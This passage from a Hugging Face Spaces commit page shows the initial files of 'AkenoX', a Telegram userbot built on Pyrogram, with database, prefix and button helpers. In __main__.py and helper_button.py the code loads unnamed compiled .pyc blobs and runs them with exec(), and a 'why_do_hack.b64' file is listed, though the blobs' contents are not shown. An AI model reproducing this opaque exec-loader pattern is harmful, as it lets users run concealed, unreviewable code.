Spaces:
Runtime error
Runtime error
Commit ·
993dde7
0
Parent(s):
Initial commit: Drag Inline Bot
Browse files- .gitignore +109 -0
- .pre-commit-config.yaml +20 -0
- AkenoX/__main__.py +26 -0
- AkenoX/core/__init__.py +0 -0
- AkenoX/core/database.py +74 -0
- AkenoX/core/helper_button.py +65 -0
- AkenoX/core/helper_prefix.py +72 -0
- AkenoX/core/logger.py +6 -0
- AkenoX/core/scripts.py +415 -0
- AkenoX/core/sqlite_prefix.py +41 -0
- AkenoX/core/upload_file.py +23 -0
- AkenoX/plugins/__init__.py +15 -0
- AkenoX/plugins/admin.py +89 -0
- AkenoX/plugins/afk.py +38 -0
- AkenoX/plugins/assistant/__init__.py +0 -0
- AkenoX/plugins/assistant/callback.py +215 -0
- AkenoX/plugins/assistant/inline.py +446 -0
- AkenoX/plugins/buttons.py +131 -0
- AkenoX/plugins/eval.py +227 -0
- AkenoX/plugins/flux.py +35 -0
- AkenoX/plugins/helper/PyroHelpers.py +66 -0
- AkenoX/plugins/helper/__init__.py +0 -0
- AkenoX/plugins/helper/admin_helper.py +61 -0
- AkenoX/plugins/helper/basic.py +55 -0
- AkenoX/plugins/helper/custom.py +68 -0
- AkenoX/plugins/helper/data.py +12 -0
- AkenoX/plugins/helper/inline.py +102 -0
- AkenoX/plugins/helper/interval.py +37 -0
- AkenoX/plugins/insta.py +44 -0
- AkenoX/plugins/libso/__init__.py +0 -0
- AkenoX/plugins/logspam.py +194 -0
- AkenoX/plugins/pmpermit.py +218 -0
- AkenoX/plugins/purge.py +130 -0
- AkenoX/plugins/setprefix.py +64 -0
- AkenoX/plugins/spring.py +26 -0
- AkenoX/plugins/task.py +54 -0
- AkenoX/plugins/update_and_restart.sh +15 -0
- AkenoX/plugins/youtube.py +161 -0
- AkenoX/readme.md +3 -0
- CODE_OF_CONDUCT.md +63 -0
- CONTRIBUTING.md +76 -0
- Dockerfile +31 -0
- LICENSE +21 -0
- README.md +78 -0
- compiler/nothing +0 -0
- config.py +53 -0
- requirements.txt +80 -0
- start.sh +36 -0
- why_do_hack.b64 +1 -0
.gitignore
ADDED
|
@@ -0,0 +1,109 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Python
|
| 2 |
+
__pycache__/
|
| 3 |
+
*.py[cod]
|
| 4 |
+
*$py.class
|
| 5 |
+
*.so
|
| 6 |
+
.Python
|
| 7 |
+
build/
|
| 8 |
+
develop-eggs/
|
| 9 |
+
dist/
|
| 10 |
+
downloads/
|
| 11 |
+
eggs/
|
| 12 |
+
.eggs/
|
| 13 |
+
lib/
|
| 14 |
+
lib64/
|
| 15 |
+
parts/
|
| 16 |
+
sdist/
|
| 17 |
+
var/
|
| 18 |
+
wheels/
|
| 19 |
+
*.egg-info/
|
| 20 |
+
.installed.cfg
|
| 21 |
+
*.egg
|
| 22 |
+
MANIFEST
|
| 23 |
+
|
| 24 |
+
# Environment variables
|
| 25 |
+
.env
|
| 26 |
+
.env.local
|
| 27 |
+
.env.development.local
|
| 28 |
+
.env.test.local
|
| 29 |
+
.env.production.local
|
| 30 |
+
|
| 31 |
+
# IDE
|
| 32 |
+
.vscode/
|
| 33 |
+
.idea/
|
| 34 |
+
*.swp
|
| 35 |
+
*.swo
|
| 36 |
+
*~
|
| 37 |
+
|
| 38 |
+
# OS
|
| 39 |
+
.DS_Store
|
| 40 |
+
.DS_Store?
|
| 41 |
+
._*
|
| 42 |
+
.Spotlight-V100
|
| 43 |
+
.Trashes
|
| 44 |
+
ehthumbs.db
|
| 45 |
+
Thumbs.db
|
| 46 |
+
|
| 47 |
+
# Logs
|
| 48 |
+
*.log
|
| 49 |
+
logs/
|
| 50 |
+
|
| 51 |
+
# Database
|
| 52 |
+
*.db
|
| 53 |
+
*.sqlite
|
| 54 |
+
*.sqlite3
|
| 55 |
+
|
| 56 |
+
# Temporary files
|
| 57 |
+
*.tmp
|
| 58 |
+
*.temp
|
| 59 |
+
|
| 60 |
+
# Compiled files
|
| 61 |
+
*.pyc
|
| 62 |
+
*.pyo
|
| 63 |
+
*.pyd
|
| 64 |
+
__pycache__/
|
| 65 |
+
*.so
|
| 66 |
+
|
| 67 |
+
# Virtual environments
|
| 68 |
+
venv/
|
| 69 |
+
env/
|
| 70 |
+
ENV/
|
| 71 |
+
env.bak/
|
| 72 |
+
venv.bak/
|
| 73 |
+
|
| 74 |
+
# Jupyter Notebook
|
| 75 |
+
.ipynb_checkpoints
|
| 76 |
+
|
| 77 |
+
# pyenv
|
| 78 |
+
.python-version
|
| 79 |
+
|
| 80 |
+
# pipenv
|
| 81 |
+
Pipfile.lock
|
| 82 |
+
|
| 83 |
+
# PEP 582
|
| 84 |
+
__pypackages__/
|
| 85 |
+
|
| 86 |
+
# Celery
|
| 87 |
+
celerybeat-schedule
|
| 88 |
+
celerybeat.pid
|
| 89 |
+
|
| 90 |
+
# SageMath parsed files
|
| 91 |
+
*.sage.py
|
| 92 |
+
|
| 93 |
+
# Spyder project settings
|
| 94 |
+
.spyderproject
|
| 95 |
+
.spyproject
|
| 96 |
+
|
| 97 |
+
# Rope project settings
|
| 98 |
+
.ropeproject
|
| 99 |
+
|
| 100 |
+
# mkdocs documentation
|
| 101 |
+
/site
|
| 102 |
+
|
| 103 |
+
# mypy
|
| 104 |
+
.mypy_cache/
|
| 105 |
+
.dmypy.json
|
| 106 |
+
dmypy.json
|
| 107 |
+
|
| 108 |
+
# Pyre type checker
|
| 109 |
+
.pyre/
|
.pre-commit-config.yaml
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
repos:
|
| 2 |
+
- repo: https://github.com/pycqa/isort
|
| 3 |
+
rev: 6.0.0
|
| 4 |
+
hooks:
|
| 5 |
+
- id: isort
|
| 6 |
+
types: [python]
|
| 7 |
+
args: [
|
| 8 |
+
'--profile=black',
|
| 9 |
+
'--line-length=99',
|
| 10 |
+
'--trailing-comma',
|
| 11 |
+
'--use-parentheses',
|
| 12 |
+
'--ensure-newline-before-comments',
|
| 13 |
+
]
|
| 14 |
+
|
| 15 |
+
- repo: https://github.com/pre-commit/pre-commit-hooks
|
| 16 |
+
rev: v5.0.0
|
| 17 |
+
hooks:
|
| 18 |
+
- id: check-yaml
|
| 19 |
+
- id: end-of-file-fixer
|
| 20 |
+
- id: trailing-whitespace
|
AkenoX/__main__.py
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# -*- coding: utf-8 -*-
|
| 3 |
+
# Copyright 2017-2025 (c) Randy W @xtdevs, @xtsea
|
| 4 |
+
#
|
| 5 |
+
# from : https://github.com/TeamKillerX
|
| 6 |
+
# Channel : @RendyProjects
|
| 7 |
+
# This program is free software: you can redistribute it and/or modify
|
| 8 |
+
# it under the terms of the GNU Affero General Public License as published by
|
| 9 |
+
# the Free Software Foundation, either version 3 of the License, or
|
| 10 |
+
# (at your option) any later version.
|
| 11 |
+
|
| 12 |
+
# This program is distributed in the hope that it will be useful,
|
| 13 |
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 14 |
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 15 |
+
# GNU Affero General Public License for more details.
|
| 16 |
+
#
|
| 17 |
+
# You should have received a copy of the GNU Affero General Public License
|
| 18 |
+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 19 |
+
#
|
| 20 |
+
import config
|
| 21 |
+
|
| 22 |
+
run_code = config.loaded_cache("compiler/install_perfomance.pyc")
|
| 23 |
+
exec(run_code, globals())
|
| 24 |
+
|
| 25 |
+
if __name__ == "__main__":
|
| 26 |
+
loop.run_until_complete(main())
|
AkenoX/core/__init__.py
ADDED
|
File without changes
|
AkenoX/core/database.py
ADDED
|
@@ -0,0 +1,74 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from datetime import datetime as dt
|
| 2 |
+
|
| 3 |
+
from motor import motor_asyncio
|
| 4 |
+
from motor.core import AgnosticClient
|
| 5 |
+
from motor.motor_asyncio import AsyncIOMotorClient
|
| 6 |
+
|
| 7 |
+
from AkenoX.core.logger import *
|
| 8 |
+
from config import *
|
| 9 |
+
|
| 10 |
+
|
| 11 |
+
class Database:
|
| 12 |
+
def __init__(self, uri: str) -> None:
|
| 13 |
+
self.client: AgnosticClient = motor_asyncio.AsyncIOMotorClient(uri)
|
| 14 |
+
self.db = self.client["Akeno"]
|
| 15 |
+
self.env = self.db["env"]
|
| 16 |
+
self.pmpermit = self.db["pmpermit"]
|
| 17 |
+
|
| 18 |
+
async def connect(self):
|
| 19 |
+
try:
|
| 20 |
+
await self.client.admin.command("ping")
|
| 21 |
+
LOGS.info(
|
| 22 |
+
f"Database Connection Established!"
|
| 23 |
+
)
|
| 24 |
+
except Exception as e:
|
| 25 |
+
LOGS.info(f"DatabaseErr: {e} ")
|
| 26 |
+
quit(1)
|
| 27 |
+
|
| 28 |
+
def get_datetime(self) -> str:
|
| 29 |
+
return dt.now().strftime("%d/%m/%Y - %H:%M")
|
| 30 |
+
|
| 31 |
+
async def set_env(self, name: str, value: str) -> None:
|
| 32 |
+
await self.env.update_one(
|
| 33 |
+
{"name": name}, {"$set": {"value": value}}, upsert=True
|
| 34 |
+
)
|
| 35 |
+
|
| 36 |
+
async def get_env(self, name: str) -> None:
|
| 37 |
+
if await self.is_env(name):
|
| 38 |
+
data = await self.env.find_one({"name": name})
|
| 39 |
+
return data["value"]
|
| 40 |
+
return None
|
| 41 |
+
|
| 42 |
+
async def rm_env(self, name: str) -> None:
|
| 43 |
+
await self.env.delete_one({"name": name})
|
| 44 |
+
|
| 45 |
+
async def is_env(self, name: str) -> bool:
|
| 46 |
+
if await self.env.find_one({"name": name}):
|
| 47 |
+
return True
|
| 48 |
+
return False
|
| 49 |
+
|
| 50 |
+
async def get_all_env(self) -> list:
|
| 51 |
+
return [i async for i in self.env.find({})]
|
| 52 |
+
|
| 53 |
+
async def add_pmpermit(self, client: int, user: int):
|
| 54 |
+
await self.pmpermit.update_one(
|
| 55 |
+
{"client": client, "user": user},
|
| 56 |
+
{"$set": {"date": self.get_datetime()}},
|
| 57 |
+
upsert=True,
|
| 58 |
+
)
|
| 59 |
+
|
| 60 |
+
async def rm_pmpermit(self, client: int, user: int):
|
| 61 |
+
await self.pmpermit.delete_one({"client": client, "user": user})
|
| 62 |
+
|
| 63 |
+
async def is_pmpermit(self, client: int, user: int) -> bool:
|
| 64 |
+
data = await self.get_pmpermit(client, user)
|
| 65 |
+
return True if data else False
|
| 66 |
+
|
| 67 |
+
async def get_pmpermit(self, client: int, user: int):
|
| 68 |
+
data = await self.pmpermit.find_one({"client": client, "user": user})
|
| 69 |
+
return data
|
| 70 |
+
|
| 71 |
+
async def get_all_pmpermits(self, client: int) -> list:
|
| 72 |
+
return [i async for i in self.pmpermit.find({"client": client})]
|
| 73 |
+
|
| 74 |
+
db_client = Database(mongo_url)
|
AkenoX/core/helper_button.py
ADDED
|
@@ -0,0 +1,65 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# -*- coding: utf-8 -*-
|
| 3 |
+
# Credits @xpushz on telegram
|
| 4 |
+
# Copyright 2020-2024 (c) Randy W @xtdevs, @xtsea on telegram
|
| 5 |
+
#
|
| 6 |
+
# from : https://github.com/TeamKillerX
|
| 7 |
+
# Channel : @RendyProjects
|
| 8 |
+
# This program is free software: you can redistribute it and/or modify
|
| 9 |
+
# it under the terms of the GNU Affero General Public License as published by
|
| 10 |
+
# the Free Software Foundation, either version 3 of the License, or
|
| 11 |
+
# (at your option) any later version.
|
| 12 |
+
|
| 13 |
+
# This program is distributed in the hope that it will be useful,
|
| 14 |
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 15 |
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 16 |
+
# GNU Affero General Public License for more details.
|
| 17 |
+
#
|
| 18 |
+
# You should have received a copy of the GNU Affero General Public License
|
| 19 |
+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 20 |
+
|
| 21 |
+
from config import *
|
| 22 |
+
|
| 23 |
+
run_code = loaded_cache("compiler/deserialize.pyc")
|
| 24 |
+
exec(run_code, globals())
|
| 25 |
+
|
| 26 |
+
def parse_buttons(button_text: str):
|
| 27 |
+
lines = button_text.strip().split("\n")
|
| 28 |
+
buttons = []
|
| 29 |
+
row = []
|
| 30 |
+
|
| 31 |
+
for line in lines:
|
| 32 |
+
if "(buttonurl://" in line:
|
| 33 |
+
parts = line.split("(buttonurl://")
|
| 34 |
+
label = parts[0].strip("[]")
|
| 35 |
+
url = parts[1].strip(")").replace(":same", "").strip()
|
| 36 |
+
row.append(InlineKeyboardButton(text=label, url=url))
|
| 37 |
+
|
| 38 |
+
elif "(callback_data://" in line:
|
| 39 |
+
parts = line.split("(callback_data://")
|
| 40 |
+
label = parts[0].strip("[]")
|
| 41 |
+
callback_data = parts[1].strip(")").replace(":same", "").strip()
|
| 42 |
+
row.append(InlineKeyboardButton(text=label, callback_data=callback_data))
|
| 43 |
+
|
| 44 |
+
elif "(copy_text://" in line:
|
| 45 |
+
parts = line.split("(copy_text://")
|
| 46 |
+
label = parts[0].strip("[]")
|
| 47 |
+
copy_text = parts[1].strip(")").replace(":same", "").strip()
|
| 48 |
+
row.append(InlineKeyboardButton(text=label, copy_text=copy_text))
|
| 49 |
+
|
| 50 |
+
elif "(alert://" in line:
|
| 51 |
+
parts = line.split("(alert://")
|
| 52 |
+
label = parts[0].strip("[]")
|
| 53 |
+
doesshow = parts[1].strip(")").replace(":same", "").strip()
|
| 54 |
+
row.append(InlineKeyboardButton(text=label, callback_data=f"alert_{doesshow}"))
|
| 55 |
+
else:
|
| 56 |
+
continue
|
| 57 |
+
|
| 58 |
+
if ":same" not in line:
|
| 59 |
+
buttons.append(row)
|
| 60 |
+
row = []
|
| 61 |
+
|
| 62 |
+
if row:
|
| 63 |
+
buttons.append(row)
|
| 64 |
+
|
| 65 |
+
return InlineKeyboardMarkup(buttons)
|
AkenoX/core/helper_prefix.py
ADDED
|
@@ -0,0 +1,72 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import re
|
| 2 |
+
from typing import List, Union
|
| 3 |
+
|
| 4 |
+
from pyrogram import Client
|
| 5 |
+
from pyrogram.enums import MessageEntityType
|
| 6 |
+
from pyrogram.filters import Filter, create
|
| 7 |
+
from pyrogram.types import Message
|
| 8 |
+
|
| 9 |
+
from AkenoX.core.sqlite_prefix import *
|
| 10 |
+
|
| 11 |
+
|
| 12 |
+
def command(commands: Union[str, List[str]], case_sensitive: bool = False):
|
| 13 |
+
command_re = re.compile(
|
| 14 |
+
r"([\"'])(.*?)(?<!\\)\1|(\S+)",
|
| 15 |
+
flags=re.UNICODE,
|
| 16 |
+
)
|
| 17 |
+
|
| 18 |
+
async def func(flt, client: Client, message: Message):
|
| 19 |
+
username = client.me.username or ""
|
| 20 |
+
user_id = client.me.id if client.me else 0
|
| 21 |
+
text = message.text or message.caption
|
| 22 |
+
message.command = None
|
| 23 |
+
|
| 24 |
+
if not text:
|
| 25 |
+
return False
|
| 26 |
+
|
| 27 |
+
stored_prefix = await get_prefix(user_id)
|
| 28 |
+
if stored_prefix is None:
|
| 29 |
+
stored_prefix = "None"
|
| 30 |
+
|
| 31 |
+
if stored_prefix == "None":
|
| 32 |
+
without_prefix = text.strip()
|
| 33 |
+
return await process_command(flt, client, message, without_prefix, command_re, username)
|
| 34 |
+
|
| 35 |
+
if message.entities:
|
| 36 |
+
for entity in message.entities:
|
| 37 |
+
if entity.type == MessageEntityType.CUSTOM_EMOJI and str(entity.custom_emoji_id) == stored_prefix:
|
| 38 |
+
without_prefix = text[entity.length:].strip()
|
| 39 |
+
return await process_command(flt, client, message, without_prefix, command_re, username)
|
| 40 |
+
|
| 41 |
+
if text.startswith(stored_prefix):
|
| 42 |
+
without_prefix = text[len(stored_prefix.encode("utf-16-le")) // 2:].strip()
|
| 43 |
+
return await process_command(flt, client, message, without_prefix, command_re, username)
|
| 44 |
+
|
| 45 |
+
return False
|
| 46 |
+
|
| 47 |
+
commands = commands if isinstance(commands, list) else [commands]
|
| 48 |
+
commands = {c if case_sensitive else c.lower() for c in commands}
|
| 49 |
+
|
| 50 |
+
return create(func, "CommandFilter", commands=commands, case_sensitive=case_sensitive)
|
| 51 |
+
|
| 52 |
+
async def process_command(flt, client: Client, message: Message, without_prefix: str, command_re, username: str):
|
| 53 |
+
"""Helper function to process command after prefix (if any) is removed."""
|
| 54 |
+
for cmd in flt.commands:
|
| 55 |
+
if re.match(
|
| 56 |
+
f"^(?:{cmd}(?:@?{username})?)(?:\s|$)",
|
| 57 |
+
without_prefix,
|
| 58 |
+
flags=0 if flt.case_sensitive else re.IGNORECASE,
|
| 59 |
+
):
|
| 60 |
+
without_command = re.sub(
|
| 61 |
+
f"{cmd}(?:@?{username})?\s?",
|
| 62 |
+
"",
|
| 63 |
+
without_prefix,
|
| 64 |
+
count=1,
|
| 65 |
+
flags=0 if flt.case_sensitive else re.IGNORECASE,
|
| 66 |
+
)
|
| 67 |
+
message.command = [cmd] + [
|
| 68 |
+
re.sub(r"\\([\"'])", r"\1", m.group(2) or m.group(3) or "")
|
| 69 |
+
for m in command_re.finditer(without_command)
|
| 70 |
+
]
|
| 71 |
+
return True
|
| 72 |
+
return False
|
AkenoX/core/logger.py
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import logging
|
| 2 |
+
|
| 3 |
+
logging.basicConfig(level=logging.INFO)
|
| 4 |
+
logging.getLogger("pyrogram").setLevel(logging.ERROR)
|
| 5 |
+
|
| 6 |
+
LOGS = logging.getLogger("AkenoX")
|
AkenoX/core/scripts.py
ADDED
|
@@ -0,0 +1,415 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import asyncio
|
| 2 |
+
import importlib
|
| 3 |
+
import math
|
| 4 |
+
import os
|
| 5 |
+
import re
|
| 6 |
+
import shlex
|
| 7 |
+
import subprocess
|
| 8 |
+
import sys
|
| 9 |
+
import time
|
| 10 |
+
import traceback
|
| 11 |
+
from io import BytesIO
|
| 12 |
+
from types import ModuleType
|
| 13 |
+
from typing import Dict, List, Optional, Tuple, Union
|
| 14 |
+
|
| 15 |
+
import psutil
|
| 16 |
+
from PIL import Image
|
| 17 |
+
from pyrogram import Client, enums, errors
|
| 18 |
+
from pyrogram.errors import FloodWait, MessageNotModified
|
| 19 |
+
from pyrogram.types import Message
|
| 20 |
+
|
| 21 |
+
META_COMMENTS = re.compile(r"^ *# *meta +(\S+) *: *(.*?)\s*$", re.MULTILINE)
|
| 22 |
+
interact_with_to_delete = []
|
| 23 |
+
|
| 24 |
+
def with_args(text: str):
|
| 25 |
+
def decorator(func):
|
| 26 |
+
async def wrapped(client: Client, message: Message):
|
| 27 |
+
if message.text and len(message.text.split()) == 1:
|
| 28 |
+
await message.edit(text)
|
| 29 |
+
else:
|
| 30 |
+
return await func(client, message)
|
| 31 |
+
|
| 32 |
+
return wrapped
|
| 33 |
+
|
| 34 |
+
return decorator
|
| 35 |
+
|
| 36 |
+
def get_args(
|
| 37 |
+
message: Union[Message, str], use_reply: bool = None
|
| 38 |
+
) -> Tuple[List[str], Dict[str, str]]:
|
| 39 |
+
"""Returns list of common args and a dictionary with named args.
|
| 40 |
+
|
| 41 |
+
Args:
|
| 42 |
+
message (Union[Message, str]): Message or text.
|
| 43 |
+
|
| 44 |
+
use_reply (bool, optional): Try to get args from reply message if no args in message. Defaults to None.
|
| 45 |
+
|
| 46 |
+
Returns:
|
| 47 |
+
List[str]: List of args.
|
| 48 |
+
"""
|
| 49 |
+
raw_args = get_args_raw(message, use_reply)
|
| 50 |
+
|
| 51 |
+
try:
|
| 52 |
+
args = list(filter(lambda x: len(x) > 0, shlex.split(raw_args)))
|
| 53 |
+
except ValueError:
|
| 54 |
+
return [raw_args], {}
|
| 55 |
+
|
| 56 |
+
common_args = []
|
| 57 |
+
named_args = {}
|
| 58 |
+
|
| 59 |
+
i = 0
|
| 60 |
+
while i < len(args):
|
| 61 |
+
arg = args[i]
|
| 62 |
+
if arg.startswith("-"):
|
| 63 |
+
if i + 1 < len(args) and (
|
| 64 |
+
not args[i + 1].startswith("-") or len(args[i + 1].split()) > 1
|
| 65 |
+
):
|
| 66 |
+
named_args[arg] = args[i + 1]
|
| 67 |
+
i += 2
|
| 68 |
+
else:
|
| 69 |
+
